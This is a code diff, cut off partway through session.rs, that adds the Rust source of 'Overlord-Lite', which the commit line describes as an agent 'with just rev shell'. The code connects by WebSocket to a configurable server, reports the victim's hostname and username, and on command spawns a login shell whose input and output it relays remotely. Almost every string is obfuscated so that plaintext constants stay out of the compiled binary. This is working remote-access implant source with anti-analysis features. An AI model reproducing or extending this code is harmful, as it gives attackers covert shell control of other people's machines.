mess around with a rust agent version with just rev shell.

Overlord-Lite/src/config.rs

@@ -0,0 +1,234 @@
+use std::{env, fmt, path::PathBuf, time::Duration};
+
+use anyhow::{Context, Result, bail};
+use base64::{Engine as _, engine::general_purpose::STANDARD};
+use tokio_tungstenite::tungstenite::http::Uri;
+
+use crate::{obfstr, protocol};
+
+#[derive(Clone, Debug)]
+pub struct Config {
+    pub servers: Vec<ServerUrl>,
+    pub agent_token: Option<String>,
+    pub build_tag: Option<String>,
+    pub insecure_tls: bool,
+    pub tls_spki_pins: Vec<[u8; 32]>,
+    pub state_dir: PathBuf,
+    pub reconnect_delay: Duration,
+    pub heartbeat_interval: Duration,
+}
+
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct ServerUrl {
+    normalized: String,
+    scheme: String,
+}
+
+impl ServerUrl {
+    pub fn parse(value: &str) -> Result<Self> {
+        parse_server_url(value)
+    }
+
+    pub fn as_str(&self) -> &str {
+        &self.normalized
+    }
+
+    pub fn scheme(&self) -> &str {
+        &self.scheme
+    }
+}
+
+impl fmt::Display for ServerUrl {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        formatter.write_str(&self.normalized)
+    }
+}
+
+impl Config {
+    pub fn from_env() -> Result<Self> {
+        let raw_servers = env::var(obfstr!("OVERLORD_SERVER")).unwrap_or_else(|_| {
+            let built_default = protocol::built_default_server();
+            if built_default.is_empty() {
+                obfstr!("wss://127.0.0.1:5173")
+            } else {
+                built_default
+            }
+        });
+        let servers = raw_servers
+            .split(',')
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+            .map(parse_server_url)
+            .collect::<Result<Vec<_>>>()?;
+        if servers.is_empty() {
+            bail!("OVERLORD_SERVER did not contain a server URL");
+        }
+
+        let insecure_tls = env_bool(&obfstr!("OVERLORD_TLS_INSECURE_SKIP_VERIFY"));
+        let raw_tls_spki_pins = env::var(obfstr!("OVERLORD_TLS_SPKI_PINS"))
+            .ok()
+            .filter(|value| !value.trim().is_empty())
+            .unwrap_or_else(protocol::built_default_tls_spki_pins);
+        let tls_spki_pins = parse_tls_spki_pins(&raw_tls_spki_pins)?;
+        if servers.iter().any(|url| url.scheme() == obfstr!("ws")) && !insecure_tls {
+            bail!("plaintext ws:// requires OVERLORD_TLS_INSECURE_SKIP_VERIFY=true");
+        }
+
+        Ok(Self {
+            servers,
+            agent_token: env::var(obfstr!("OVERLORD_AGENT_TOKEN"))
+                .ok()
+                .or_else(|| Some(protocol::built_default_agent_token()))
+                .filter(|value| !value.trim().is_empty()),
+            build_tag: env::var(obfstr!("OVERLORD_BUILD_TAG"))
+                .ok()
+                .or_else(|| Some(protocol::built_default_build_tag()))
+                .filter(|value| !value.trim().is_empty()),
+            insecure_tls,
+            tls_spki_pins,
+            state_dir: env::var_os(obfstr!("OVERLORD_LITE_STATE_DIR"))
+                .map(PathBuf::from)
+                .unwrap_or_else(default_state_dir),
+            reconnect_delay: env_duration(&obfstr!("OVERLORD_RECONNECT_DELAY_MS"), 5_000),
+            heartbeat_interval: env_duration(&obfstr!("OVERLORD_PING_INTERVAL_MS"), 30_000),
+        })
+    }
+}
+
+fn parse_tls_spki_pins(value: &str) -> Result<Vec<[u8; 32]>> {
+    value
+        .split(',')
+        .map(str::trim)
+        .filter(|pin| !pin.is_empty())
+        .map(|pin| {
+            let prefix = obfstr!("sha256/");
+            let encoded = pin.strip_prefix(&prefix).unwrap_or(pin);
+            let decoded = STANDARD
+                .decode(encoded)
+                .with_context(|| format!("invalid TLS SPKI pin {pin:?}"))?;
+            decoded
+                .try_into()
+                .map_err(|_| anyhow::anyhow!("invalid TLS SPKI pin {pin:?}: expected 32 bytes"))
+        })
+        .collect()
+}
+
+fn parse_server_url(value: &str) -> Result<ServerUrl> {
+    let separator = obfstr!("://");
+    let with_scheme = if value.contains(&separator) {
+        value.to_owned()
+    } else {
+        let mut server = obfstr!("wss://");
+        server.push_str(value);
+        server
+    };
+    let without_fragment = with_scheme.split('#').next().unwrap_or(&with_scheme);
+    let uri: Uri = without_fragment
+        .parse()
+        .with_context(|| format!("invalid server URL {value:?}"))?;
+    let input_scheme = uri
+        .scheme_str()
+        .ok_or_else(|| anyhow::anyhow!("server URL is missing a scheme"))?;
+    let scheme = if input_scheme == obfstr!("https") {
+        obfstr!("wss")
+    } else if input_scheme == obfstr!("http") {
+        obfstr!("ws")
+    } else if input_scheme == obfstr!("wss") || input_scheme == obfstr!("ws") {
+        input_scheme.to_owned()
+    } else {
+        bail!("unsupported server URL scheme {input_scheme:?}");
+    };
+    let authority = uri
+        .authority()
+        .ok_or_else(|| anyhow::anyhow!("server URL is missing a host"))?;
+    if authority.host().is_empty() || authority.as_str().contains('@') {
+        bail!("server URL has an invalid host");
+    }
+    Ok(ServerUrl {
+        normalized: format!("{scheme}://{authority}/"),
+        scheme,
+    })
+}
+
+fn env_bool(name: &str) -> bool {
+    env::var(name)
+        .map(|value| {
+            let normalized = value.trim().to_ascii_lowercase();
+            normalized == obfstr!("1")
+                || normalized == obfstr!("true")
+                || normalized == obfstr!("yes")
+                || normalized == obfstr!("on")
+        })
+        .unwrap_or(false)
+}
+
+fn env_duration(name: &str, default_ms: u64) -> Duration {
+    let ms = env::var(name)
+        .ok()
+        .and_then(|value| value.trim().parse::<u64>().ok())
+        .unwrap_or(default_ms);
+    Duration::from_millis(ms)
+}
+
+fn default_state_dir() -> PathBuf {
+    #[cfg(target_os = "windows")]
+    if let Some(root) = env::var_os(obfstr!("LOCALAPPDATA")) {
+        return PathBuf::from(root)
+            .join(obfstr!("Overlord"))
+            .join(obfstr!("Lite"));
+    }
+
+    #[cfg(target_os = "macos")]
+    if let Some(root) = env::var_os(obfstr!("HOME")) {
+        return PathBuf::from(root)
+            .join(obfstr!("Library"))
+            .join(obfstr!("Application Support"))
+            .join(obfstr!("Overlord Lite"));
+    }
+
+    if let Some(root) = env::var_os(obfstr!("XDG_STATE_HOME")) {
+        return PathBuf::from(root).join(obfstr!("overlord-lite"));
+    }
+    if let Some(root) = env::var_os(obfstr!("HOME")) {
+        return PathBuf::from(root)
+            .join(obfstr!(".local"))
+            .join(obfstr!("state"))
+            .join(obfstr!("overlord-lite"));
+    }
+    PathBuf::from(obfstr!(".overlord-lite"))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn normalizes_server_urls() {
+        assert_eq!(
+            ServerUrl::parse("example.com:5173").unwrap().as_str(),
+            "wss://example.com:5173/"
+        );
+        assert_eq!(
+            ServerUrl::parse("https://example.com/base")
+                .unwrap()
+                .as_str(),
+            "wss://example.com/"
+        );
+        assert_eq!(
+            ServerUrl::parse("http://[::1]:5173/path?ignored=true#fragment")
+                .unwrap()
+                .as_str(),
+            "ws://[::1]:5173/"
+        );
+        assert!(ServerUrl::parse("ftp://example.com").is_err());
+        assert!(ServerUrl::parse("wss://user@example.com").is_err());
+    }
+
+    #[test]
+    fn parses_prefixed_and_plain_spki_pins() {
+        let encoded = STANDARD.encode([0x42; 32]);
+        let pins = parse_tls_spki_pins(&format!("sha256/{encoded},{encoded}")).unwrap();
+        assert_eq!(pins, vec![[0x42; 32], [0x42; 32]]);
+        assert!(parse_tls_spki_pins("not-a-pin").is_err());
+    }
+}

Overlord-Lite/src/console.rs

@@ -0,0 +1,283 @@
+use std::{
+    collections::HashMap,
+    env,
+    io::{Read, Write},
+    sync::LazyLock,
+    thread,
+};
+
+use anyhow::{Context, Result, anyhow, bail};
+use portable_pty::{ChildKiller, CommandBuilder, MasterPty, PtySize, native_pty_system};
+use tokio::sync::mpsc::Sender;
+
+use crate::obfstr;
+use crate::protocol::{self, ConsoleOutput};
+
+const DEFAULT_COLS: u16 = 120;
+const DEFAULT_ROWS: u16 = 36;
+const MAX_DIMENSION: u16 = 1_000;
+static CONSOLE_OUTPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_output"));
+
+struct ConsoleSession {
+    master: Box<dyn MasterPty + Send>,
+    writer: Box<dyn Write + Send>,
+    killer: Box<dyn ChildKiller + Send + Sync>,
+}
+
+pub struct ConsoleHub {
+    sessions: HashMap<String, ConsoleSession>,
+    outbound: Sender<Vec<u8>>,
+}
+
+impl ConsoleHub {
+    pub fn new(outbound: Sender<Vec<u8>>) -> Self {
+        Self {
+            sessions: HashMap::new(),
+            outbound,
+        }
+    }
+
+    pub fn start(&mut self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
+        validate_session_id(session_id)?;
+        self.stop(session_id);
+
+        let size = terminal_size(cols, rows);
+        let pair = native_pty_system().openpty(size).context("open terminal")?;
+        let mut command = shell_command();
+        command.env(obfstr!("TERM"), obfstr!("xterm-256color"));
+        let child = pair
+            .slave
+            .spawn_command(command)
+            .context("start terminal shell")?;
+        drop(pair.slave);
+
+        let reader = pair
+            .master
+            .try_clone_reader()
+            .context("open terminal output")?;
+        let writer = pair.master.take_writer().context("open terminal input")?;
+        let killer = child.clone_killer();
+
+        spawn_output_forwarder(session_id.to_owned(), reader, child, self.outbound.clone());
+        self.sessions.insert(
+            session_id.to_owned(),
+            ConsoleSession {
+                master: pair.master,
+                writer,
+                killer,
+            },
+        );
+        Ok(())
+    }
+
+    pub fn write(&mut self, session_id: &str, data: &str) -> Result<()> {
+        let session = self
+            .sessions
+            .get_mut(session_id)
+            .ok_or_else(|| anyhow!("console session not found"))?;
+        session
+            .writer
+            .write_all(data.as_bytes())
+            .context("write terminal input")?;
+        session.writer.flush().context("flush terminal input")
+    }
+
+    pub fn resize(&self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
+        let session = self
+            .sessions
+            .get(session_id)
+            .ok_or_else(|| anyhow!("console session not found"))?;
+        session
+            .master
+            .resize(terminal_size(cols, rows))
+            .context("resize terminal")
+    }
+
+    pub fn stop(&mut self, session_id: &str) {
+        if let Some(mut session) = self.sessions.remove(session_id) {
+            let _ = session.killer.kill();
+        }
+    }
+
+    pub fn stop_all(&mut self) {
+        for (_, mut session) in self.sessions.drain() {
+            let _ = session.killer.kill();
+        }
+    }
+}
+
+impl Drop for ConsoleHub {
+    fn drop(&mut self) {
+        self.stop_all();
+    }
+}
+
+fn spawn_output_forwarder(
+    session_id: String,
+    mut reader: Box<dyn Read + Send>,
+    mut child: Box<dyn portable_pty::Child + Send + Sync>,
+    outbound: Sender<Vec<u8>>,
+) {
+    thread::spawn(move || {
+        let mut buffer = [0u8; 4096];
+        loop {
+            match reader.read(&mut buffer) {
+                Ok(0) => break,
+                Ok(size) => send_output(&outbound, &session_id, Some(&buffer[..size]), None, None),
+                Err(error) => {
+                    send_output(&outbound, &session_id, None, None, Some(&error.to_string()));
+                    break;
+                }
+            }
+        }
+
+        match child.wait() {
+            Ok(status) => send_output(
+                &outbound,
+                &session_id,
+                None,
+                Some(i32::try_from(status.exit_code()).unwrap_or(i32::MAX)),
+                None,
+            ),
+            Err(error) => send_output(&outbound, &session_id, None, None, Some(&error.to_string())),
+        }
+    });
+}
+
+fn send_output(
+    outbound: &Sender<Vec<u8>>,
+    session_id: &str,
+    data: Option<&[u8]>,
+    exit_code: Option<i32>,
+    error: Option<&str>,
+) {
+    let message = ConsoleOutput {
+        message_type: CONSOLE_OUTPUT.as_str(),
+        session_id,
+        data: data.map(serde_bytes::Bytes::new),
+        exit_code,
+        error,
+    };
+    if let Ok(encoded) = protocol::encode(&message) {
+        let _ = outbound.blocking_send(encoded);
+    }
+}
+
+fn shell_command() -> CommandBuilder {
+    if cfg!(windows) {
+        return CommandBuilder::new(
+            env::var_os(obfstr!("COMSPEC")).unwrap_or_else(|| obfstr!("cmd.exe").into()),
+        );
+    }
+
+    let shell = env::var_os(obfstr!("SHELL")).unwrap_or_else(|| {
+        if cfg!(target_os = "macos") {
+            obfstr!("/bin/zsh").into()
+        } else {
+            obfstr!("/bin/bash").into()
+        }
+    });
+    let mut command = CommandBuilder::new(shell);
+    command.arg(obfstr!("-l"));
+    command
+}
+
+fn validate_session_id(session_id: &str) -> Result<()> {
+    if session_id.is_empty() {
+        bail!("missing console session id");
+    }
+    if session_id.len() > 128 {
+        bail!("console session id is too long");
+    }
+    Ok(())
+}
+
+fn terminal_size(cols: i64, rows: i64) -> PtySize {
+    PtySize {
+        cols: dimension(cols, DEFAULT_COLS),
+        rows: dimension(rows, DEFAULT_ROWS),
+        pixel_width: 0,
+        pixel_height: 0,
+    }
+}
+
+fn dimension(value: i64, default: u16) -> u16 {
+    if value <= 0 {
+        default
+    } else {
+        u16::try_from(value)
+            .unwrap_or(MAX_DIMENSION)
+            .min(MAX_DIMENSION)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use std::time::{Duration, Instant};
+
+    #[test]
+    fn terminal_dimensions_are_defaulted_and_bounded() {
+        assert_eq!(
+            terminal_size(0, -1),
+            PtySize {
+                cols: 120,
+                rows: 36,
+                pixel_width: 0,
+                pixel_height: 0
+            }
+        );
+        assert_eq!(terminal_size(2_000, 50).cols, 1_000);
+        assert_eq!(terminal_size(80, 50).rows, 50);
+    }
+
+    #[test]
+    fn session_ids_are_required_and_bounded() {
+        assert!(validate_session_id("").is_err());
+        assert!(validate_session_id(&"x".repeat(129)).is_err());
+        assert!(validate_session_id("console-1").is_ok());
+    }
+
+    #[test]
+    fn terminal_streams_command_output() {
+        let (tx, mut rx) = tokio::sync::mpsc::channel(64);
+        let mut hub = ConsoleHub::new(tx);
+        hub.start("smoke", 80, 24).unwrap();
+        let input = if cfg!(windows) {
+            "\x1b[1;1Recho overlord-lite-tty\r\nexit\r\n"
+        } else {
+            "echo overlord-lite-tty\nexit\n"
+        };
+        hub.write("smoke", input).unwrap();
+
+        let deadline = Instant::now() + Duration::from_secs(10);
+        let mut output = Vec::new();
+        while Instant::now() < deadline {
+            match rx.try_recv() {
+                Ok(message) => {
+                    let decoded = protocol::decode(&message).unwrap();
+                    if let Some(rmpv::Value::Binary(data)) = protocol::field(&decoded, "data") {
+                        output.extend_from_slice(data);
+                        if String::from_utf8_lossy(&output).contains("overlord-lite-tty") {
+                            break;
+                        }
+                    }
+                    if protocol::integer_field(&decoded, "exitCode").is_some() {
+                        break;
+                    }
+                }
+                Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {
+                    thread::sleep(Duration::from_millis(10));
+                }
+                Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => break,
+            }
+        }
+
+        hub.stop_all();
+        assert!(
+            String::from_utf8_lossy(&output).contains("overlord-lite-tty"),
+            "terminal output did not contain the marker: {:?}",
+            String::from_utf8_lossy(&output)
+        );
+    }
+}

Overlord-Lite/src/identity.rs

@@ -0,0 +1,91 @@
+use std::{fs, path::Path};
+
+use anyhow::{Context, Result, bail};
+use base64::{Engine as _, engine::general_purpose::STANDARD};
+use ed25519_dalek::{Signer, SigningKey};
+use rand_core::OsRng;
+use serde::{Deserialize, Serialize};
+use sha2::{Digest, Sha256};
+use uuid::Uuid;
+
+#[derive(Debug)]
+pub struct Identity {
+    pub client_id: String,
+    signing_key: SigningKey,
+}
+
+#[derive(Serialize, Deserialize)]
+struct StoredIdentity {
+    client_id: String,
+    seed_base64: String,
+}
+
+impl Identity {
+    pub fn load_or_create(state_dir: &Path) -> Result<Self> {
+        fs::create_dir_all(state_dir)
+            .with_context(|| format!("create state directory {}", state_dir.display()))?;
+        let path = state_dir.join("identity.json");
+        if path.exists() {
+            let data = fs::read(&path).with_context(|| format!("read {}", path.display()))?;
+            let stored: StoredIdentity = serde_json::from_slice(&data)
+                .with_context(|| format!("parse {}", path.display()))?;
+            let seed = STANDARD
+                .decode(stored.seed_base64)
+                .context("decode identity seed")?;
+            let seed: [u8; 32] = seed
+                .try_into()
+                .map_err(|_| anyhow::anyhow!("identity seed must be 32 bytes"))?;
+            return Ok(Self {
+                client_id: stored.client_id,
+                signing_key: SigningKey::from_bytes(&seed),
+            });
+        }
+
+        let signing_key = SigningKey::generate(&mut OsRng);
+        let identity = Self {
+            client_id: Uuid::new_v4().to_string(),
+            signing_key,
+        };
+        let stored = StoredIdentity {
+            client_id: identity.client_id.clone(),
+            seed_base64: STANDARD.encode(identity.signing_key.to_bytes()),
+        };
+        let temp_path = state_dir.join("identity.json.tmp");
+        fs::write(&temp_path, serde_json::to_vec_pretty(&stored)?)
+            .with_context(|| format!("write {}", temp_path.display()))?;
+        set_private_permissions(&temp_path)?;
+        fs::rename(&temp_path, &path).with_context(|| format!("install {}", path.display()))?;
+        Ok(identity)
+    }
+
+    pub fn public_key_base64(&self) -> String {
+        STANDARD.encode(self.signing_key.verifying_key().as_bytes())
+    }
+
+    pub fn sign_base64(&self, nonce_base64: &str) -> Result<String> {
+        let nonce = STANDARD
+            .decode(nonce_base64)
+            .context("decode enrollment nonce")?;
+        if nonce.is_empty() {
+            bail!("enrollment nonce was empty");
+        }
+        Ok(STANDARD.encode(self.signing_key.sign(&nonce).to_bytes()))
+    }
+
+    pub fn fingerprint(&self) -> String {
+        let digest = Sha256::digest(self.signing_key.verifying_key().as_bytes());
+        digest.iter().map(|byte| format!("{byte:02x}")).collect()
+    }
+}
+
+#[cfg(unix)]
+fn set_private_permissions(path: &Path) -> Result<()> {
+    use std::os::unix::fs::PermissionsExt;
+    fs::set_permissions(path, fs::Permissions::from_mode(0o600))?;
+    Ok(())
+}
+
+#[cfg(not(unix))]
+fn set_private_permissions(_path: &Path) -> Result<()> {
+    Ok(())
+}

Overlord-Lite/src/lib.rs

@@ -0,0 +1,11 @@
+extern crate self as overlord_lite;
+
+pub use overlord_lite_string_obfuscator::obfstr;
+
+pub mod config;
+pub mod console;
+pub mod identity;
+pub mod obfuscation;
+pub mod protocol;
+pub mod session;
+pub mod tls;

Overlord-Lite/src/main.rs

@@ -0,0 +1,53 @@
+use anyhow::Result;
+use overlord_lite::{config::Config, identity::Identity, session};
+
+#[tokio::main]
+async fn main() -> Result<()> {
+    let config = Config::from_env()?;
+    let identity = Identity::load_or_create(&config.state_dir)?;
+
+    eprintln!(
+        "Overlord Lite {} starting as {} (identity {})",
+        env!("CARGO_PKG_VERSION"),
+        identity.client_id,
+        identity.fingerprint()
+    );
+    if config.insecure_tls {
+        eprintln!("WARNING: TLS certificate verification is disabled");
+    } else if !config.tls_spki_pins.is_empty() {
+        eprintln!(
+            "TLS server identity pinning enabled ({} trusted key{})",
+            config.tls_spki_pins.len(),
+            if config.tls_spki_pins.len() == 1 {
+                ""
+            } else {
+                "s"
+            },
+        );
+    }
+
+    let mut server_index = 0usize;
+    loop {
+        let server = &config.servers[server_index % config.servers.len()];
+        eprintln!("connecting to {server}");
+
+        tokio::select! {
+            result = session::run(&config, &identity, server) => {
+                match result {
+                    Ok(()) => eprintln!("session ended"),
+                    Err(error) => eprintln!("session error: {error:#}"),
+                }
+            }
+            _ = tokio::signal::ctrl_c() => {
+                eprintln!("shutdown requested");
+                return Ok(());
+            }
+        }
+
+        server_index = (server_index + 1) % config.servers.len();
+        tokio::select! {
+            _ = tokio::time::sleep(config.reconnect_delay) => {}
+            _ = tokio::signal::ctrl_c() => return Ok(()),
+        }
+    }
+}

Overlord-Lite/src/obfuscation.rs

@@ -0,0 +1,38 @@
+/// Reconstructs a string emitted by `obfstr!`.
+///
+/// `black_box` plus the non-inlined boundary keeps release LTO from replacing
+/// the call with a plaintext constant. This is binary obfuscation, not secret
+/// storage: a determined analyst can still recover strings from a running
+/// process or reverse the decoder.
+#[inline(never)]
+pub fn decrypt(encrypted: &[u8], seed: u64) -> String {
+    let encrypted = std::hint::black_box(encrypted);
+    let mut state = std::hint::black_box(seed | 1);
+    let plaintext = encrypted
+        .iter()
+        .map(|byte| byte ^ next_key_byte(&mut state))
+        .collect();
+    String::from_utf8(plaintext).expect("obfstr generated invalid UTF-8")
+}
+
+fn next_key_byte(state: &mut u64) -> u8 {
+    *state ^= *state >> 12;
+    *state ^= *state << 25;
+    *state ^= *state >> 27;
+    (state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
+}
+
+#[cfg(test)]
+mod tests {
+    use crate::obfstr;
+
+    #[test]
+    fn decrypts_compile_time_string() {
+        assert_eq!(
+            obfstr!("overlord-obfuscation-marker"),
+            "overlord-obfuscation-marker"
+        );
+        assert_eq!(obfstr!("Unicode: ☃"), "Unicode: ☃");
+        assert!(obfstr!("").is_empty());
+    }
+}

Overlord-Lite/src/protocol.rs

@@ -0,0 +1,140 @@
+use std::collections::BTreeMap;
+
+use anyhow::{Context, Result, anyhow};
+use rmpv::Value;
+use serde::Serialize;
+
+include!(concat!(env!("OUT_DIR"), "/wire_contract.rs"));
+
+#[derive(Clone, Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct CommandVersionRange {
+    pub min: u16,
+    pub max: u16,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct Hello<'a> {
+    #[serde(rename = "type")]
+    pub message_type: &'static str,
+    pub id: &'a str,
+    pub hwid: &'a str,
+    pub host: String,
+    pub os: &'static str,
+    pub arch: &'static str,
+    pub version: &'static str,
+    pub user: String,
+    pub monitors: u8,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub build_tag: Option<&'a str>,
+    pub public_key: &'a str,
+    pub signature: &'a str,
+    pub protocol_version: u16,
+    pub command_versions: BTreeMap<String, CommandVersionRange>,
+}
+
+#[derive(Debug, Serialize)]
+pub struct Ping {
+    #[serde(rename = "type")]
+    pub message_type: &'static str,
+    pub ts: i64,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct CommandResult<'a> {
+    #[serde(rename = "type")]
+    pub message_type: &'static str,
+    pub command_id: &'a str,
+    pub command_type: &'a str,
+    pub command_version: u16,
+    pub ok: bool,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub message: Option<&'a str>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub error_code: Option<&'a str>,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct ConsoleOutput<'a> {
+    #[serde(rename = "type")]
+    pub message_type: &'static str,
+    pub session_id: &'a str,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub data: Option<&'a serde_bytes::Bytes>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub exit_code: Option<i32>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub error: Option<&'a str>,
+}
+
+pub fn encode<T: Serialize>(value: &T) -> Result<Vec<u8>> {
+    rmp_serde::to_vec_named(value).context("encode MessagePack")
+}
+
+pub fn decode(bytes: &[u8]) -> Result<Value> {
+    rmp_serde::from_slice(bytes).context("decode MessagePack")
+}
+
+pub fn field<'a>(value: &'a Value, name: &str) -> Option<&'a Value> {
+    value
+        .as_map()?
+        .iter()
+        .find_map(|(key, value)| (key.as_str() == Some(name)).then_some(value))
+}
+
+pub fn string_field<'a>(value: &'a Value, name: &str) -> Option<&'a str> {
+    field(value, name)?.as_str()
+}
+
+pub fn required_string<'a>(value: &'a Value, name: &str) -> Result<&'a str> {
+    string_field(value, name).ok_or_else(|| anyhow!("missing or invalid {name}"))
+}
+
+pub fn integer_field(value: &Value, name: &str) -> Option<i64> {
+    let value = field(value, name)?;
+    value
+        .as_i64()
+        .or_else(|| value.as_u64().and_then(|number| i64::try_from(number).ok()))
+}
+
+pub fn command_versions() -> BTreeMap<String, CommandVersionRange> {
+    lite_command_version_support()
+        .into_iter()
+        .map(|(command, min, max)| (command, CommandVersionRange { min, max }))
+        .collect()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn advertises_only_console_commands() {
+        let commands = command_versions();
+        assert_eq!(commands.len(), 4);
+        for command in [
+            "console_input",
+            "console_resize",
+            "console_start",
+            "console_stop",
+        ] {
+            let versions = commands.get(command).unwrap();
+            assert_eq!(versions.min, 1);
+            assert_eq!(versions.max, 1);
+        }
+    }
+
+    #[test]
+    fn messagepack_uses_wire_field_names() {
+        let ping = Ping {
+            message_type: "ping",
+            ts: 123,
+        };
+        let decoded = decode(&encode(&ping).unwrap()).unwrap();
+        assert_eq!(string_field(&decoded, "type"), Some("ping"));
+        assert_eq!(integer_field(&decoded, "ts"), Some(123));
+    }
+}

Overlord-Lite/src/session.rs

@@ -0,0 +1,521 @@
+use std::{
+    sync::LazyLock,
+    time::{Duration, SystemTime, UNIX_EPOCH},
+};
+
+use crate::{
+    config::{Config, ServerUrl},
+    console::ConsoleHub,
+    identity::Identity,
+    obfstr,
+    protocol::{self, CommandResult, Hello, Ping},
+    tls,
+};
+use anyhow::{Context, Result, anyhow, bail};
+use futures_util::{SinkExt, StreamExt};
+use rmpv::Value;
+use tokio::net::TcpStream;
+use tokio_tungstenite::{
+    MaybeTlsStream, WebSocketStream, connect_async_tls_with_config,
+    tungstenite::{
+        Message,
+        client::IntoClientRequest,
+        http::{HeaderName, HeaderValue},
+    },
+};
+
+type Socket = WebSocketStream<MaybeTlsStream<TcpStream>>;
+
+static API_CLIENTS_PREFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/api/clients/"));
+static STREAM_WS_SUFFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/stream/ws"));
+static ROLE_CLIENT: LazyLock<String> = LazyLock::new(|| obfstr!("role=client"));
+static WEBSOCKET_PROTOCOL_HEADER: LazyLock<String> =
+    LazyLock::new(|| obfstr!("Sec-WebSocket-Protocol"));
+static AGENT_TOKEN_HEADER: LazyLock<String> = LazyLock::new(|| obfstr!("x-agent-token"));
+static BINARY_PROTOCOL: LazyLock<String> = LazyLock::new(|| obfstr!("binary"));
+static FIELD_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("type"));
+static FIELD_NONCE: LazyLock<String> = LazyLock::new(|| obfstr!("nonce"));
+static FIELD_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("status"));
+static FIELD_ID: LazyLock<String> = LazyLock::new(|| obfstr!("id"));
+static FIELD_COMMAND_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("commandType"));
+static FIELD_COMMAND_VERSION: LazyLock<String> = LazyLock::new(|| obfstr!("commandVersion"));
+static FIELD_PAYLOAD: LazyLock<String> = LazyLock::new(|| obfstr!("payload"));
+static FIELD_SESSION_ID: LazyLock<String> = LazyLock::new(|| obfstr!("sessionId"));
+static FIELD_DATA: LazyLock<String> = LazyLock::new(|| obfstr!("data"));
+static FIELD_COLS: LazyLock<String> = LazyLock::new(|| obfstr!("cols"));
+static FIELD_ROWS: LazyLock<String> = LazyLock::new(|| obfstr!("rows"));
+static FIELD_TS: LazyLock<String> = LazyLock::new(|| obfstr!("ts"));
+static ENROLLMENT_CHALLENGE: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_challenge"));
+static ENROLLMENT_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_status"));
+static HELLO: LazyLock<String> = LazyLock::new(|| obfstr!("hello"));
+static HELLO_ACK: LazyLock<String> = LazyLock::new(|| obfstr!("hello_ack"));
+static PING: LazyLock<String> = LazyLock::new(|| obfstr!("ping"));
+static PONG: LazyLock<String> = LazyLock::new(|| obfstr!("pong"));
+static COMMAND: LazyLock<String> = LazyLock::new(|| obfstr!("command"));
+static COMMAND_RESULT: LazyLock<String> = LazyLock::new(|| obfstr!("command_result"));
+static CONSOLE_START: LazyLock<String> = LazyLock::new(|| obfstr!("console_start"));
+static CONSOLE_INPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_input"));
+static CONSOLE_RESIZE: LazyLock<String> = LazyLock::new(|| obfstr!("console_resize"));
+static CONSOLE_STOP: LazyLock<String> = LazyLock::new(|| obfstr!("console_stop"));
+static CLIENT_VERSION: LazyLock<String> =
+    LazyLock::new(|| format!("{}{}", obfstr!("rust-lite/"), env!("CARGO_PKG_VERSION")));
+
+pub async fn run(config: &Config, identity: &Identity, server: &ServerUrl) -> Result<()> {
+    let socket_url = format!(
+        "{}{}{}{}?{}",
+        server.as_str().trim_end_matches('/'),
+        API_CLIENTS_PREFIX.as_str(),
+        identity.client_id,
+        STREAM_WS_SUFFIX.as_str(),
+        ROLE_CLIENT.as_str(),
+    );
+
+    let mut request = socket_url.into_client_request()?;
+    request.headers_mut().insert(
+        HeaderName::from_bytes(WEBSOCKET_PROTOCOL_HEADER.as_bytes())?,
+        HeaderValue::from_str(BINARY_PROTOCOL.as_str())?,
+    );
+    if let Some(token) = &config.agent_token {
+        request.headers_mut().insert(
+            HeaderName::from_bytes(AGENT_TOKEN_HEADER.as_bytes())?,
+            HeaderValue::from_str(token)?,
+        );
+    }
+
+    let connector = tls::websocket_connector(config.insecure_tls, &config.tls_spki_pins);
+    let (mut socket, _) = connect_async_tls_with_config(request, None, true, connector)
+        .await
+        .with_context(|| format!("connect to {server}"))?;
+
+    let first = tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
+        .await
+        .context("timed out waiting for enrollment challenge")??;
+    let first_type = protocol::required_string(&first, FIELD_TYPE.as_str())?;
+    let (public_key, signature, needs_ack) = if first_type == ENROLLMENT_CHALLENGE.as_str() {
+        let nonce = protocol::required_string(&first, FIELD_NONCE.as_str())?;
+        (
+            identity.public_key_base64(),
+            identity.sign_base64(nonce)?,
+            true,
+        )
+    } else if first_type == HELLO_ACK.as_str() {
+        (String::new(), String::new(), false)
+    } else {
+        bail!("unexpected first server message {first_type:?}")
+    };
+
+    let hello = Hello {
+        message_type: HELLO.as_str(),
+        id: &identity.client_id,
+        hwid: &identity.client_id,
+        host: hostname(),
+        os: wire_os(),
+        arch: wire_arch(),
+        version: CLIENT_VERSION.as_str(),
+        user: username(),
+        monitors: 0,
+        build_tag: config.build_tag.as_deref(),
+        public_key: &public_key,
+        signature: &signature,
+        protocol_version: protocol::WIRE_PROTOCOL_VERSION,
